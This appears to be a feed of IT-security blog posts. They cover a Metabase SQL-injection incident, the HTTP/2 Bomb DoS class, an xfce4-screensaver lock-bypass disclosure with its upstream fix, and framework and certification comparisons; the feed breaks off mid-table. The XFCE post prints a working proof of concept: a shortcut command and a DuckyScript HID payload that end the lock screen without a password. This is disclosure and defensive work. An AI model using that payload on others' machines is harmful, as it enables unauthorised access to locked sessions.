AWARE7 Blog - IT Security, Pentesting & Compliance

Zero-day vulnerability in internal tools: What the Metabase incident has triggered

kontakt@a7.de (Jan Hörnemann) — Tue, 11 Aug 2026 00:00:00 GMT

What is a zero-day vulnerability?

A zero-day vulnerability is a security vulnerability that attackers are already exploiting, whilst the vendor has not yet released a patch. Organisations have literally zero days to prepare. This becomes particularly critical when the affected tool is operated in-house and the scope of its database access has never been documented.

What happened during the Metabase incident on 3 August 2026

On 3 August 2026, Metabase identified active attacks on cloud-based and self-hosted installations. The cause was an unauthenticated SQL injection, rated with a CVSS Base score of 10.0 and a Temporal Score of 9.5 (CERT-Bund WID-SEC-2026-2715, no CVE ID assigned). Attackers injected SQL commands via the password reset endpoint and gained access to stored database credentials for all connected databases.

In the case of the laptop manufacturer Framework, the data compromised included name, email address, telephone number, login IP address, and billing and delivery addresses, including company name. Order and payment details were not accessed. Investigations are still ongoing to determine whether tax identification numbers for business customers are also affected. In the case of the form service Tally, email addresses and password hashes were affected; forms and responses remained unaffected as they were stored separately.

Indicator of Compromise: POST /api/session/reset_password with HTTP status 400, immediately followed by GET /api/user/current with HTTP status 200. This combination in the application and ingress logs of the Metabase server identifies the attack.

Versions in the 0.58 to 0.63 families are affected. Sources report this differently (heise: “58 to 63”; CERT-Bund: < x.58.24), but are referring to the same version family. Confirmed minimum versions: 0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9, 0.63.5.

Why internal analytics tools are an underestimated attack surface

Following a successful attack, the configuration, stored database credentials and all data accessible via these become accessible to the attacker. Following the incident, Framework had to review what data external analytics platforms were receiving. The company plans to restrict their access to only the database columns that are actually required.

Self-hosted BI and monitoring tools with broad database access are easily overlooked in regular security cycles. Without an entry in the asset inventory, they are not included in patch management processes. This week’s Metabase incident was not an isolated case. On 7 August 2026, CISA added CVE-2026-8037 to its catalogue of known-exploited vulnerabilities: an unauthenticated command injection in Progress Kemp LoadMaster (CVSS 9.6). 792 exploit attempts originating from 65 IP addresses over 41 days demonstrate just how systematically such vulnerabilities are being exploited.

Immediate measures for Metabase operators

Update to a secure minimum version: 0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9 or 0.63.5.
If an immediate update is not possible: Block access to /api/session/reset_password at the reverse proxy or in the firewall.
Revoke all active user sessions.
Check API keys and administrator accounts for unauthorised changes.
Rotate the access credentials for all connected databases.
Review application and ingress logs for IoC patterns.

A vulnerability scan reveals internally operated services of this kind before an attacker finds them.

For organisations that operate their own Metabase instances and process personal data as part of that operation, two sets of obligations apply directly.

Article 32(1)(d) of the GDPR requires a procedure for regularly reviewing the effectiveness of technical and organisational measures. Any tool missing from the asset inventory falls outside the scope of this procedure. Organisations that establish this evidence in a structured manner through a security consultancy have a robust basis for dealing with supervisory authorities and internal audits.

Article 33 of the GDPR: If personal data is leaked, there is generally a 72-hour reporting deadline to the competent supervisory authority. The notification obligation does not apply if the breach is unlikely to result in a risk to the rights and freedoms of natural persons. The deadline begins when the breach becomes known, not when the investigation is concluded. Framework has informed the supervisory authorities and commissioned an IT forensic investigation.

Assessment

The Metabase zero-day incident reveals a structural pattern: unauthenticated access to an internally operated tool with broad database access, which was not covered by the regular security cycle. By engaging forensic experts and supervisory authorities, Framework has fulfilled its obligations. Anyone wishing to prepare for this process will find a methodological introduction in the Practical Guide to Vulnerability Management.

HTTP/2 Bomb (CVE-2026-49975): How One Home PC Crashes Web Servers

kontakt@a7.de (Chris Wojzechowski) — Tue, 23 Jun 2026 00:00:00 GMT

The key points first

A single computer with an ordinary internet connection can crash vulnerable web servers within seconds. The attack class is called the HTTP/2 Bomb. For Apache it is tracked as CVE-2026-49975, but nginx, Envoy and Microsoft IIS are affected as well. The attack does not rely on an exotic flaw. It uses legitimate HTTP/2 features that together flood the server's memory. Anyone running HTTP/2, which is often the default for TLS on port 443, should review the affected systems now.

What happened

The security firm Calif disclosed the vulnerability in early June 2026. The path to it is notable: the researchers around Quang Luong used the AI agent OpenAI Codex to infer from public bug fixes where similar patterns might lurk in other servers. Codex chained two long-known ideas into a new and effective attack.

Working proof-of-concept code has been on GitHub since 2 June 2026. That makes the attack reproducible for anyone who wants to use it.

How the attack works

The HTTP/2 Bomb combines two building blocks. The mechanics can be explained at the level of principle, without providing a recipe.

The compression bomb. HTTP/2 compresses headers with a scheme called HPACK. An attacker stores one large header in the dynamic HPACK table once, then references it thousands of times at minimal cost. Little traffic turns into huge header structures inside the server. The principle resembles a ZIP bomb, except it is not an unpacked file but the decompressed HTTP headers that flood memory. A flaw in counting split cookie headers also let attackers bypass the usual limit on the number of header fields in Apache.
The flow-control hold. The attacker then sets the connection's flow-control window to zero and only sends tiny WINDOW_UPDATE frames. The server can never finish its response but keeps the inflated headers in memory. This Slowloris-style technique pins the allocation until memory runs out.

The result is drastic. In tests by Calif and Radware, a single client on 100 Mbps reserved roughly 32 gigabytes of memory on Apache and Envoy in about 20 seconds. nginx and IIS became unreachable after around 45 seconds. Unlike volumetric attacks, this needs no botnet.

Which servers are affected

The HTTP/2 Bomb is a class, not a single bug. Patch status differs by product:

Apache HTTP Server (CVE-2026-49975): versions 2.4.17 to 2.4.67 are affected. Fixed in 2.4.68, that is mod_http2 2.0.41.
nginx: versions before 1.29.8 had no hard cap on the number of headers. The new max_headers directive limits it to 1,000 by default.
Envoy (CVE-2026-47774): fixed in 1.35.11, 1.36.7, 1.37.3 and 1.38.1.
Microsoft IIS / HTTP.sys (CVE-2026-49160): fixed via the June Patch Tuesday, plus the MaxHeadersCount registry setting.
Cloudflare Pingora: named as vulnerable in the research; a public patch status was initially unclear.

Reverse proxies can protect if they are not vulnerable themselves and enforce hard header limits. F5 rates BIG-IP as not affected because it already caps the number and size of decoded headers.

Severity ratings diverge: CyCognito assigns CVSS 7.5 (high), Red Hat rates the issues as important, Apache itself rates them as moderate, and the NVD score was still pending at the time of writing. What matters is less the single number than your own exposure.

Why this matters for businesses

A denial-of-service attack hits availability, not the confidentiality of data. For many organizations that is exactly the business-critical point: when a shop, portal or API stalls, the damage is immediate. Availability is also a mandatory topic under the NIS2 directive.

Two points make the HTTP/2 Bomb especially relevant. First, HTTP/2 often runs by default: on TLS deployments on port 443 it is frequently pre-enabled, without the operator deliberately switching it on. Second, the attack is protocol-compliant: it uses permitted features, which makes it hard for classic network defenses to tell apart from normal traffic.

The AI angle is more than a detail. Once a fix is public, automated analysis can find similar weaknesses across the ecosystem faster than manual audits. That shortens the window between disclosure and exploitation.

What to check this week

Concrete, without panic:

Map the inventory: where is HTTP/2 terminated? This includes origin servers, reverse proxies, CDNs, load balancers and ingress controllers in the cluster. If HTTP/2 is terminated at a WAF, CDN or cloud load balancer, their patch status comes first: an upstream instance that is not vulnerable and enforces hard header limits shields the servers behind it.
Patch: update Apache to 2.4.68, nginx to 1.29.8, Envoy to the listed versions, IIS via the June Patch Tuesday.
Where patching is not possible: temporarily disable HTTP/2 (Protocols http/1.1 on Apache, http2 off; on nginx). This is a stopgap: falling back to HTTP/1.1 costs multiplexing and therefore latency, but it removes the attack surface.
Enforce limits: cap the maximum number and size of headers separately, including cookie fragments, plus the number of concurrent streams per connection.
Cap memory: in container environments, set memory limits for proxy and gateway pods so a single process cannot take down the whole host.

Common question: is this only an Apache problem?

No. CVE-2026-49975 is the Apache variant, but the same mechanics of HPACK amplification and flow-control hold were demonstrated against nginx, Envoy, Microsoft IIS and Cloudflare Pingora. Patching only Apache while overlooking other HTTP/2 endpoints closes the gap only partly. The threat should be treated as a class, not a single CVE.

Assessment

The HTTP/2 Bomb follows known protocol attacks such as the HPACK Bomb (2016) and Rapid Reset (2023) and extends their principle. What is new is less the technique than the speed at which AI-assisted analysis finds such chains and transfers them across implementations. For operators the answer stays concrete: know your HTTP/2 endpoints, patch them, enforce header and stream limits. Web applications and their upstream servers belong in the scope of a regular web application penetration test. Some patch states, for example Pingora, were still in flux at the time of publication, so it is worth checking the vendor advisories.

Author: Chris Wojzechowski, Managing Director AWARE7, IT security. Sources: Calif (original analysis), NVD, Red Hat, CyCognito, Radware, F5, GovCERT Hong Kong and the nginx documentation.

XFCE Screensaver Vulnerability: Lock-Screen Bypass via Monitor Switch

kontakt@a7.de (Murat Altindis) — Sun, 03 May 2026 00:00:00 GMT

Short answer: The xfce4-screensaver has a vulnerability that bypasses the lock screen during a monitor switch or when an HDMI cable is unplugged and plugged back in. The root cause is a timing window between XUngrabServer and the new window grab in which X11 forwards keyboard input to background processes. Our fix enforces an explicit focus reset via XSetInputFocus before the new grab and was submitted upstream on 2026-03-11 as merge request #60 of xfce4-screensaver.

Which systems are affected by the XFCE screensaver bypass?

All Linux systems using xfce4-screensaver as their lock screen are affected, confirmed up to version 4.20.2. In our analysis we reproduced the behavior on Qubes OS and on a fresh Kali Linux installation. Because the root cause lies in the interaction with the X11 window manager, other XFCE-based distributions - Xubuntu, Manjaro XFCE, Linux Mint XFCE - are very likely vulnerable as well.

We first noticed the issue on Qubes OS. Its security model is built on strict isolation: applications run in separate virtual machines, and input events pass through sys-usb or sys-net before reaching the AppVM.

These additional hops widen the timing window in which keyboard input slips past the lock screen. In our case, they made the bug reproducible in the first place. The Qubes OS security design is not the cause - it is the microscope that made the defect visible.

The screensaver is a particularly sensitive component. It decides whether a locked session can be used without a password. If it fails, the other protection mechanisms usually no longer apply.

How does the vulnerability work technically?

The bypass is a race condition between releasing and reacquiring an X11 server grab. X11 processes keyboard and mouse events centrally through the X server; a screen locker claims these events exclusively by installing a server grab. If the grab is released before the new one is established, input lands in whatever window currently holds focus.

When a monitor switches or the HDMI signal disappears, xfce4-screensaver recreates the login window. To do so, it releases the existing grab (XUngrabServer) and requests a new one once the new window is available.

Depending on the system, there is a time window of about a few hundred milliseconds between the two operations, during which keyboard inputs are passed on to background processes. Anyone with a terminal or editor open in the background types directly into it - no authentication required.

This becomes critical when combined with shortcuts. A user who has bound a key to xfce4-screensaver-command --exit or opens a terminal via CTRL+ALT+T can end the screen lock on demand. That is the real attack vector.

How did we discover the bypass?

We found the behavior while setting up a new Qubes OS machine - not by targeted search, but by accident. After a roughly 15-minute break and unlocking the session, we noticed seemingly random characters in a browser text field. They were keystrokes we had used to wake the machine, and they had clearly been handled by the background browser rather than the lock screen.

The cause was easy to isolate. The behavior was reproducible whenever an external monitor lost its HDMI signal while the system was locked and the system reinitialized the monitor after key input. The same effect occurred when we unplugged and replugged the HDMI cable in the locked state.

In our pentest practice we regularly see that screen lockers are the last line of defense when physical access is a threat. A bypass triggered by a trivial hardware action - unplugging a cable - lowers the attack threshold significantly, especially in coworking spaces or conference rooms.

"The moment a keystroke on a locked system ended up in a background browser, it was clear this was not cosmetic. Combining monitor reinitialization with X11 grab release opens a window large enough to consistently type into an unlocked shell using a LilyGo T-Dongle S3."

Murat Altindis, Offensive Security Consultant, AWARE7 GmbH

How can the exploit be reproduced?

Manual proof of concept

The simplest confirmation is a custom shortcut - F7, for example - that opens a terminal and terminates the screensaver:

xfce4-terminal -x bash -c "xfce4-screensaver-command --exit"

Inside the timing window after the monitor reset, the system does not route the shortcut into the lock screen but into the background application. The terminal starts, the command executes, the lock screen is released without a password.

Automation with the LilyGo T-Dongle S3

On Kali Linux with the current xfce4-screensaver 4.20.2, the timing window was too short for manual input. For reliable reproduction we used a LilyGo T-Dongle S3 - an ESP32-S3 device that the system recognizes as a USB keyboard. We flashed it with the open-source USBArmyKnife project, which runs DuckyScript directly on the ESP32-S3.

The payload is minimal:

KEYBOARD_LAYOUT win_de-DE
CTRL ALT T
DELAY 50
STRING xfce4-screensaver-command --exit
ENTER

Walk-through: the German keyboard layout ensures that special characters are transmitted correctly. CTRL ALT T opens a terminal, a 50-millisecond delay gives the shell time to load, the STRING line types the command character by character, ENTER executes it. Timing was resolved by brute force: we repeated the sequence until it landed inside the window.

Where is the root cause in the source code?

For root-cause analysis we cloned xfce4-screensaver from its official GitLab repository, built it locally, and replaced the installed binary with our debug version. Millisecond-resolution log lines then let us correlate code paths with the observed leak.

The key location is the grab release:

gs_debug ("*** Releasing X server grab");
gdk_x11_display_ungrab (display);
gdk_display_flush (display);

The leak appeared delayed, roughly a few hundred milliseconds after this call, depending on the system. An existing comment in the code showed that the maintainers were aware of the general risk - apparently without knowing it amounted to a real bypass:

#ifdef ENABLE_X11
    /*
     * It doesn't prevent all leaks, but it's better than nothing. Preventing all leaks would
     * probably require keeping the grab on the overlay permanently and passing events to the
     * screensaver windows, which seems overly complicated given what's at stake.
     */
    if (manager->priv->grab != NULL) {
        gs_grab_move_to_window (manager->priv->grab,
                                gtk_widget_get_window (manager->priv->overlay),
                                display, FALSE, FALSE);
    }
#endif

The actual culprit is gdk_x11_display_ungrab, which ends up calling XUngrabServer from the X11 library via the GDK library:

void
gdk_x11_display_ungrab (GdkDisplay *display)
{
  GdkX11Display *display_x11;

  g_return_if_fail (GDK_IS_DISPLAY (display));

  display_x11 = GDK_X11_DISPLAY (display);
  g_return_if_fail (display_x11->grab_count > 0);

  display_x11->grab_count--;
  if (display_x11->grab_count == 0)
    {
      XUngrabServer (display_x11->xdisplay);
      XFlush (display_x11->xdisplay);
    }
}

Between XUngrabServer and the new grab, X11 has no active lock-screen window registered. Input goes to whichever window last held focus. We confirmed this by patching the screensaver to intercept every keystroke and then discard it: keystrokes during the bypass window were never even observed by the screensaver - X11 had routed them straight to background processes.

Which fix closes the gap?

The fix acts on focus, not on grab behavior. Before the new grab, we strip focus from all windows and then set it explicitly on the new login window:

GdkDisplay *display = gs_window_get_display (window);
GdkWindow *gdk_win = gs_window_get_gdk_window (window);

gdk_x11_display_error_trap_push (display);
XSetInputFocus (GDK_DISPLAY_XDISPLAY (display), GDK_WINDOW_XID (gdk_win), RevertToParent, CurrentTime);
gdk_x11_display_error_trap_pop_ignored (display);

We placed this immediately before the existing call:

manager_maybe_grab_window (manager, window);

inside window_map_event_cb, which fires when a new window is created. Architecturally, setting focus after the new grab would be cleaner - but in our tests that path reliably broke subsequent logins. The pre-grab focus reset is therefore a deliberate compromise.

The fix was submitted on 2026-03-11 as merge request #60 in the xfce4-screensaver project and is awaiting upstream integration.

How high is the residual risk after the fix?

The fix reliably prevents keystrokes from ending up in background text fields, because the focus they would need is gone. It does not catch hotkeys, which do not require window focus. Users who bind xfce4-screensaver-command --exit or comparable sensitive actions to global shortcuts remain exposed.

In a default configuration without security-critical custom shortcuts, residual risk is low. The structurally clean path would be to drop grabs entirely and move the existing login window on monitor switches rather than recreating it. That would require a fundamental redesign of xfce4-screensaver and is not currently on the table.

Practical recommendation: Audit your XFCE keybindings for commands that end the screen lock, spawn shells, or launch privileged scripts. Such shortcuts remain an attack vector even with the fix in place.

Conclusion: Is xfce4-screensaver still usable?

Our first reflex was to advise against using xfce4-screensaver. After the exchange with the xfce4-screensaver and Qubes OS maintainers we see it more pragmatically. No X11 screen locker is immune to this class of timing issue - comparable gaps have appeared in other lockers in the past.

What matters is how quickly maintainers respond. Our fix was reviewed constructively on the merge request; the exchange with the maintainers was fast and substantive. That is a positive signal for the project.

Users who need maximum isolation should still evaluate whether a move to Wayland is feasible in the medium term. Wayland replaces grab-based logic with a compositor-centric model in which the screen lock is part of the compositor and focus transitions do not run inside this window. On X11 the pragmatic advice remains: stay on the current version, audit hotkeys, do not trade security for convenience.

FAQ: Common questions about the XFCE screensaver bypass

Which xfce4-screensaver versions are affected?

The vulnerability is confirmed up to and including xfce4-screensaver 4.20.2, the current release at the time of our analysis. Older 4.x versions share the underlying grab logic and are very likely affected as well. For the current status of the fix in a stable release, check the xfce4-screensaver repository directly.

Does the vulnerability apply to other X11 screen lockers?

The specific code location is XFCE-specific, but the underlying pattern - a race condition between XUngrabServer and the new grab - is a generic X11 concern. Historically, xscreensaver, slock, and i3lock have shown different variants of similar problems. A reliable statement about any specific locker requires its own code analysis.

How can I check whether my system is vulnerable?

Bind a shortcut such as F7 to xfce4-terminal -x bash -c "xfce4-screensaver-command --exit", lock the screen, unplug and replug the HDMI cable briefly, and press the shortcut key. If the lock screen releases without a password, the system is exploitable. Run this test only on a device you control.

Has a CVE ID been assigned?

At the time of publication no CVE ID has been issued to us. We coordinated the fix directly with the xfce4-screensaver and Qubes OS maintainers and did not run it through a formal CVE disclosure chain because the patch was already available. If a CVE ID is later assigned by MITRE or by a CNA such as Canonical or Red Hat, we will update this post and record it here.

What are the alternatives to xfce4-screensaver?

On X11, xscreensaver, slock, and physlock are established alternatives, each with its own trade-off between integration, feature set, and attack surface. The structurally safer option is moving to Wayland-based environments such as GNOME on Wayland or KDE Plasma on Wayland, where screen lockers are part of the compositor.

Next steps

Do you suspect a similar vulnerability in your infrastructure? Our penetration tests evaluate endpoint hardening, including screen-lock behavior, physical-access scenarios, and HID-based attacks.

Further reading: Linux server hardening · Race condition / TOCTOU · Vulnerability disclosure.

Hero image created with AI assistance (Black Forest Labs Flux 1.1 Pro). Disclosure per EU AI Act Art. 50.

ISO 27001 vs. BSI IT-Grundschutz vs. TISAX: Business Comparison 2026

kontakt@a7.de (Chris Wojzechowski) — Wed, 11 Mar 2026 00:00:00 GMT

Choosing the right information security framework is a strategic decision. ISO 27001, BSI IT-Grundschutz, and TISAX have different origins, target audiences, and sets of requirements. This comparison shows which framework is right for your organization - and why, in many cases, the answer is “several of them.”

An Overview of the Three Frameworks

ISO 27001 - The international standard

ISO 27001 is the globally recognized standard for information security management systems (ISMS). It defines requirements for the establishment, operation, monitoring, and continuous improvement of an ISMS. The certificate is issued by accredited certification bodies and is publicly verifiable.

What ISO 27001 requires:

Scope definition and context analysis (Chapter 4)
Risk assessment procedures and risk treatment plan (Chapter 6)
Information security policy and security objectives (Chapters 5, 6.2)
Statement of Applicability (SoA) for all 93 controls from Annex A
Internal audit program and management review
Two-stage certification audit (Stage 1: Document review, Stage 2: Implementation audit)

Timeline for SMEs (50-200 employees):

Months 1-2: Gap analysis
Months 3-6: ISMS documentation and implementation of measures
Months 7-9: Internal audit and management review
Months 10-12: Stage 1 and Stage 2 certification audit
Thereafter: Annual surveillance audits, full recertification after three years

BSI IT-Grundschutz - The German Operational Framework

BSI IT-Grundschutz is a methodological standard published by the Federal Office for Information Security (BSI). It is available in full in German and can be downloaded free of charge at bsi.bund.de/grundschutz. The complete compendium comprises over 100 thematic modules - the BSI IT-Grundschutz profile "Cybersecurity for SMEs" (2022) distills 47 concrete, immediately implementable requirements from these.

Core Elements of BSI IT-Grundschutz:

BSI Standard 200-1: Information Security Management Systems
BSI Standard 200-2: IT-Grundschutz Methodology
BSI Standard 200-3: Risk Analysis
BSI Standard 200-4: Business Continuity Management
IT-Grundschutz Compendium: Over 100 modules (ISMS.1, ORP.4, SYS.2.2, etc.)

BSI IT-Grundschutz is compatible with ISO/IEC 27001. Many companies use it as an operational implementation method and simultaneously seek ISO 27001 certification. The BSI provides an official mapping that allows IT-Grundschutz implementation to lead directly to ISO 27001 certification.

Time required for the SME profile: 4-12 weeks to implement the 47 core measures - significantly less than the full IT-Grundschutz, which can take 6-18 months.

TISAX - The Automotive Standard

TISAX (Trusted Information Security Assessment Exchange) was developed by the VDA (German Association of the Automotive Industry). It is based on the VDA ISA (Information Security Assessment) questionnaire, which in turn is heavily modeled after ISO 27001 - approximately 70% of the VDA ISA controls correspond to ISO 27001 requirements.

Difference from ISO 27001: TISAX is not a public certificate, but an industry-internal label. The results are visible only on the ENX portal to authorized OEMs. There is no "TISAX certificate" - only a TISAX label.

TISAX Assessment Levels:

Level	Protection Requirement	Assessment Method	Typical Suppliers
AL2	Normal	Self-declaration + plausibility check, remote assessment possible	Tier-2/Tier-3, service providers without direct OEM contact
AL3	High	On-site audit - no remote option	Tier-1, direct OEM development partners

The three TISAX scopes:

Information Security (IS): For all suppliers handling confidential information such as design data or NDA documents
Prototype Protection (PT): For suppliers handling physical prototypes or test vehicles
Data Protection: For suppliers processing personal data of OEM customers

Direct Comparison: ISO 27001 vs. BSI IT-Grundschutz vs. TISAX

Feature	ISO 27001	BSI IT-Grundschutz	TISAX
Publisher	ISO/IEC (international)	BSI - Federal Office for Information Security	VDA / ENX Association
Scope	Industry-independent	Industry-independent	Automotive industry
Result	Public certificate	No certificate (framework)	TISAX label (not public)
Language	English (standard), German translations	German	English/German
Documentation Costs	-	Free (bsi.bund.de)	Free (ENX Portal)
Certification Costs	8,000-20,000 EUR	- (no certificate)	3,000-30,000 EUR (assessment)
Total costs for SMEs	30,000-150,000 EUR	0-5,000 EUR (consulting)	10,000-50,000 EUR
Time required	10-18 months	4-18 weeks (SME profile)	3-12 months
ISO 27001 overlap	100%	~90% (mapping available)	~70%
Recognized for NIS2	Yes (Art. 21)	Yes (BSI recommendation)	No (industry-specific)
International recognition	Worldwide	Germany/EU	Global automotive industry
Mandatory for	Many large customers, public sector clients	Government agencies (often mandatory)	Automotive suppliers (de facto mandatory)

Detailed Cost Comparison

ISO 27001 - Total Costs for SMEs (50-250 Employees)

Cost Category	Typical Range
External Consulting (Gap Analysis + Implementation)	20,000-60,000 EUR
Internal personnel costs (project time)	15,000-40,000 EUR
Tools (ISMS software, vulnerability scanners)	5,000-15,000 EUR/year
Penetration testing	5,000-20,000 EUR
Security awareness training	3,000-10,000 EUR/year
Certification audit (Stage 1 + 2)	8,000-20,000 EUR
Total initial certification	56,000-165,000 EUR

Ongoing Costs: 36,000-108,000 EUR/year (monitoring audit, ISMS software, awareness, ISB)

BSI IT-Grundschutz - Cost Comparison

	BSI IT-Grundschutz (without certification)	ISO 27001 Certification
Tools	0 EUR (verinice is free)	-
Consulting	0-5,000 EUR	10,000-30,000 EUR
Certification body	-	5,000-15,000 EUR
Time required	4-12 weeks (SME profile)	6-18 months

TISAX - Assessment Costs (2025)

Level	Company size	Assessment costs
AL2 (remote possible)	Small enterprises < 50 employees	3,000-6,000 EUR
AL2 (remote possible)	Medium-sized enterprises 50-500 employees	6,000-12,000 EUR
AL3 (on-site required)	Small enterprises	8,000-15,000 EUR
AL3 (on-site required)	Medium-sized companies	15,000-30,000 EUR

Additional costs include: ENX registration (400 EUR/year), preparation and consulting (10,000-30,000 EUR), and internal personnel costs. The TISAX label is valid for 3 years.

Which framework is suitable for whom?

ISO 27001 - Recommended if:

Customers or tenders explicitly require certification
You operate in a regulated sector (finance, healthcare, KRITIS)
You are subject to NIS2 (ISO 27001 covers NIS2 Art. 21)
You serve government agencies or public sector clients
International customers expect recognized certification

BSI IT-Grundschutz - Recommended if:

You work in public administration (where it is often mandatory)
You are looking for a cost-effective, pragmatic entry point
German is used as the working language and German-language documentation is helpful
You must meet NIS2 requirements and the BSI is accepted as proof
You are aiming for ISO 27001 and wish to use IT-Grundschutz as a path to implementation

TISAX - Recommended (or mandatory) if:

You work as a supplier for BMW, Mercedes-Benz, VW, Stellantis, or other OEMs
You process confidential development data, design documents, or NDA documents
You handle prototypes or test vehicles at your facility
Your direct client requires a TISAX label as a contractual prerequisite

The Combination Strategy

In practice, the three frameworks are rarely alternatives but rather combinations - depending on the customer base and regulatory environment.

Recommended Combination for Most SMEs

BSI IT-Grundschutz as an operational framework + ISO 27001 as certification:

The synergies are significant. The BSI IT-Grundschutz profile for SMEs offers a structured, German-language entry point without high consulting costs. The ISO 27001 certificate built upon this provides a publicly verifiable quality signal to customers. The BSI offers an official mapping through which an IT-Grundschutz implementation can lead directly to ISO 27001 certification - no duplicate documentation effort.

Recommended combination for automotive suppliers

ISO 27001 as a framework + TISAX as industry-specific proof:

Since approximately 70% of VDA ISA controls align with ISO 27001 requirements, the additional effort required for a TISAX assessment is manageable if an ISO 27001 ISMS is already in place. The recommended approach:

Establish an ISO 27001 ISMS as a framework
Conduct a VDA ISA gap analysis (determine the gap relative to TISAX)
Add automotive-specific controls (prototype protection, OEM supply chain)
Aim for dual certification: ISO 27001 certificate and TISAX label

Advantage: Maintain only one ISMS instead of two parallel systems. Documentation effort decreases by about 40%, and credibility with multinational customers increases.

Common Mistakes in Choosing a Framework

Mistake 1: Treating TISAX as a substitute for ISO 27001. TISAX is not a publicly recognized certification - it is an industry-specific label. Customers outside the automotive industry do not accept it as proof of information security.

Mistake 2: Viewing BSI IT-Grundschutz and ISO 27001 as competitors. They are complementary. Many successful ISMS implementations use IT-Grundschutz as a methodology and ISO 27001 as a certification framework.

Mistake 3: Defining the scope as too broad or too narrow. With ISO 27001, a scope that is too broad leads to overload, while one that is too narrow causes customers to doubt its relevance. Start with the core area and expand from there.

Mistake 4: Documentation without implementation. In the ISO 27001 Stage 2 audit and the TISAX assessment, actual practices are examined - not just the documentation. Auditors conduct interviews and require evidence.

Mistake 5: Management commitment exists only on paper. All three frameworks require active engagement from senior management. Without this, implementation will fail - regardless of which framework is chosen.

Frequently Asked Questions

Can I meet NIS2 requirements with BSI IT-Grundschutz?

Yes. The BSI IT-Grundschutz profile for SMEs addresses the essential technical and organizational measures required by NIS2 Art. 21. The BSI recognizes the implementation of IT-Grundschutz as proof of compliance. For KRITIS companies and critical infrastructure entities, ISO 27001 is additionally recommended.

Is ISO 27001 or TISAX more expensive?

For SMEs with fewer than 50 employees, a TISAX AL2 assessment (3,000-6,000 EUR) is more cost-effective than an initial ISO 27001 certification (total cost of 56,000+ EUR). For medium-sized companies, the costs are similar, especially if TISAX AL3 with an on-site audit is required. The decisive factor is the industry: automotive suppliers need TISAX, regardless of the cost.

How long does a TISAX assessment take?

Assessment preparation takes 3-12 months, depending on the assessment level and initial status. The actual assessment takes 2-5 days. A lead time of 4-8 weeks is often required between booking and the assessment date. The label is activated in the ENX portal 3-5 business days after the assessment.

Do I also need ISO 27001 for TISAX?

No - TISAX does not replace ISO 27001, and vice versa. However, implementing both makes sense if you serve both automotive customers and other customers. The synergies from a shared ISMS significantly reduce the overall effort.

Conclusion: The Right Choice for Your Company

There is no universally “best” solution - but there is the right one for your situation:

General SMEs with requirements from major customers: ISO 27001 as a mandatory investment, BSI IT-Grundschutz as the implementation framework
Public administration and government agencies: BSI IT-Grundschutz as the primary framework, often required by law
Automotive suppliers: TISAX label as a prerequisite for market access, ISO 27001 to increase efficiency
Startups and SMEs without external certification requirements: BSI SME Profile as a pragmatic starting point

AWARE7 supports companies every step of the way - from the initial gap analysis to the successful certification audit. We provide manufacturer- and product-independent consulting.

Request ISO 27001 Consulting | Schedule a Free Initial Consultation

IT Security Certifications: T.I.S.P. vs. CISSP vs. CISM vs. CompTIA

kontakt@a7.de (Chris Wojzechowski) — Wed, 11 Mar 2026 00:00:00 GMT

Choosing an IT security certification is an investment in your career. Anyone looking to establish themselves as an information security officer, security consultant, or CISO in the DACH region faces the question: Which certification offers the greatest value - for your own career and for your employer?

This comparison contrasts the five most relevant certifications and evaluates them based on cost, prerequisites, exam format, and relevance to the German market.

An Overview of the Five Most Important IT Security Certifications

T.I.S.P. - TeleTrusT Information Security Professional

The T.I.S.P. certification is the only European expert certification for information security. It is awarded by the Bundesverband IT-Sicherheit e.V. (TeleTrusT) and audited by DEKRA. The certification covers 20 knowledge areas - ranging from cryptography and network security to GDPR, NIS-2, and BSI IT-Grundschutz.

Special Feature: T.I.S.P. is the only certification whose exam material is explicitly tailored to European and German regulations. The exam is administered entirely in German.

Issuer: TeleTrusT e.V. / DEKRA
Prerequisites: 3 years of professional experience in IT security
Exam: 180 multiple-choice questions, 3 hours, 70% passing score
Language: German
Validity: 3 years (recertifiable)
Cost: approx. 3,200 EUR training + 360 EUR exam fee = 3,560 EUR net

CISSP - Certified Information Systems Security Professional

The CISSP from (ISC)² is the most internationally recognized security certification. It is aimed at experienced professionals with broad security knowledge and covers eight domains - from Security and Risk Management to Software Development Security. The exam is adaptive (CAT) and is administered in English.

Issuing body: (ISC)²
Prerequisites: 5 years of professional experience in at least 2 of the 8 domains
Exam: 125-175 adaptive questions (CAT), 4 hours
Language: English (German translation available as an aid)
Validity: 3 years (40 CPE credits/year)
Cost: approx. 5,000-6,000 EUR for training + 749 USD exam fee ≈ 6,500-8,000 EUR

CISM - Certified Information Security Manager

ISACA’s CISM focuses on IT security management and governance. It is particularly relevant for professionals who work in or aspire to leadership positions - such as CISOs, IT risk managers, and compliance officers.

Publisher: ISACA
Prerequisites: 5 years of experience in IT security management (3 years with substitution possible)
Exam: 150 multiple-choice questions, 4 hours
Language: English
Validity: 3 years (20 CPE hours/year)
Cost: approx. 1,500-2,000 EUR for training + 575-760 USD exam fee ≈ 2,500-3,500 EUR

CompTIA Security+

CompTIA Security+ is the internationally recognized entry-level certification for IT security. It is aimed at career starters and IT professionals who want to demonstrate a solid foundation of knowledge in security concepts.

Publisher: CompTIA
Prerequisites: None formally; recommended: 2 years of IT experience
Exam: Max. 90 questions (MC + practical), 90 minutes
Language: English, Japanese, Portuguese (no German)
Validity: 3 years (50 CEUs or retake)
Cost: approx. 500-800 EUR training + 392 USD exam fee ≈ 1,000-1,400 EUR

ISO 27001 Lead Auditor

The ISO 27001 Lead Auditor certification qualifies individuals to conduct ISMS audits independently. It is specifically designed for auditors who assess management systems according to ISO 27001.

Issuing bodies: Various (PECB, IRCA, BSI, TÜV)
Prerequisites: Basic knowledge of ISO 27001; audit experience recommended
Exam: Written exam; format varies by provider
Language: German or English (depending on the provider)
Validity: 3 years (depending on the certifying body)
Cost: approx. 2,500-3,500 EUR including exam

Comparison Table: T.I.S.P. vs. CISSP vs. CISM vs. Security+ vs. ISO 27001 LA

Criterion	T.I.S.P.	CISSP	CISM	Security+	ISO 27001 LA
Focus	Holistic IT security, EU law	Holistic IT security, international	Security management & governance	Fundamentals of IT security	ISMS auditing
Modules/Domains	20 modules	8 domains	4 domains	5 domains	ISO 27001 series of standards
Professional Experience	3 years	5 years	5 years (3 with substitution)	None (2 years recommended)	Recommended
Exam Duration	3 hours	4 hours (adaptive)	4 hours	90 minutes	Varies
Exam language	German	English	English	English	German/English
